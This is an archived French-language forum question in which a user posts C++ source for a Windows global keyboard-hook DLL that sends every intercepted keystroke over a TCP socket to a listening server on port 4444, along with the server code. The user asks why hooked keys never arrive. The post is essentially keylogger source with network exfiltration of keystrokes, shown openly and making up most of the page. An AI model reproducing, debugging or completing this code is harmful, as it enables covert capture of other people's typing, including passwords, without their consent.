Aller au contenu

Pblm entre hook clavier (DLL) et socket


X-Kalibur

Messages recommandés

Le probleme est que je réalise un hook sur mon clavier et que chaque frappe interceptée je veux l'envoyer via un socket à un serveur, mais des que j'envois le send() le serveur n'affiche rien et pourtant je suis bien connecté, j'arrive pas à comprendre pourquoi. Merci d'avance.

Code de la DLL :

#include "DLL.h"
#include "stdafx.h"
#include <iostream>
#include <stdio.h>

//winsock
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")

//variables general
WSADATA WSAData;
SOCKET sock;
SOCKADDR_IN sin;
char buffer[1];
//\\winsock

//Variables
HHOOK hook;
static HINSTANCE hDLLInstance;


/*******************************************/
void InitConnexion()
{
WSAStartup(MAKEWORD(2,0), &WSAData);

sock=socket(AF_INET, SOCK_STREAM, 0);

sin.sin_addr.s_addr = inet_addr("127.0.0.1");
sin.sin_family = AF_INET;
sin.sin_port = htons(4444);

int status;
status=connect(sock, (SOCKADDR *)&sin, sizeof(sin));
if(status==INVALID_SOCKET)
{
	MessageBox(NULL,
				"Erreur connexion",
				"ERREUR",MB_OK|MB_ICONERROR);
}

}

void SendChar(char c)
{
buffer[0] = c;
send (sock, buffer, 1, 0);
}
/********************************************/


//main
BOOL APIENTRY DllMain( HINSTANCE hInstance,
				   DWORD  ul_reason_for_call,
				   LPVOID lpReserved
				 )
{

InitConnexion();

switch (ul_reason_for_call)
{
	case DLL_PROCESS_ATTACH:
		hDLLInstance = hInstance; //Garde en mémoire l'instance pour SetWindowsHook()
		break;
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
}
return TRUE;
}


LRESULT CALLBACK KeyboardHook(int nCode, WORD wParam, DWORD lParam)
{
char ch;
LRESULT NextHook = CallNextHookEx(hook, nCode, wParam, lParam);
//Prépare la valeur de retour de la fonction et passe le message à un autre Hook			  

//Si la frappe a déjà été traitée (c'est une répétition)
if(!((DWORD)lParam & 0x40000000 && (HC_ACTION==nCode)))
	return NextHook; //alors on passe la main à un autre Hook

BYTE Keyboard_state[256];
GetKeyboardState(Keyboard_state);
WORD wBuf;
UINT ScanCode=0;
ToAscii(wParam,ScanCode,Keyboard_state,&wBuf,0);
ch=((char)wBuf);

SendChar(ch);


return NextHook;//Passe la main à un autre Hook

}


__declspec(dllexport) int Start()
{
hook = SetWindowsHookEx(WH_KEYBOARD,
						(HOOKPROC)KeyboardHook,
						hDLLInstance,
						0);

return ((hook!=0)?1:0);
}

Code du serveur :

#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#include <stdio.h>
#include <iostream>

void main()
{
WSADATA WSAData;
WSAStartup(MAKEWORD(2,0), &WSAData);

SOCKET sock;
SOCKET csock;
SOCKADDR_IN sin;
SOCKADDR_IN csin;
char buffer[1];

sock = socket(AF_INET, SOCK_STREAM, 0);
sin.sin_addr.s_addr			= INADDR_ANY;
sin.sin_family				= AF_INET;
sin.sin_port				= htons(4444);
bind(sock, (SOCKADDR *)&sin, sizeof(sin));

listen(sock, 0);int sinsize = sizeof(csin);
csock = accept(sock, (SOCKADDR *)&csin, &sinsize);

while(1)
{
	memset(buffer, '\0', 1); //on vide le buffer
	recv(csock, buffer, 1, 0);
	printf("%s",buffer);
}
}

Ce que j'arrive pas a comprendre c'est pourquoi lorsque je met par exemple un SendChar('a') juste apres le InitConnexion() dans le DllMain, le serveur le recois bien et l'affiche... mais des que je veux envoyer le caractère intercepter par le hook clavier ça ne marche pas ...

Merci d'avance.

Lien vers le commentaire
Partager sur d’autres sites

Archivé

Ce sujet est désormais archivé et ne peut plus recevoir de nouvelles réponses.

×
×
  • Créer...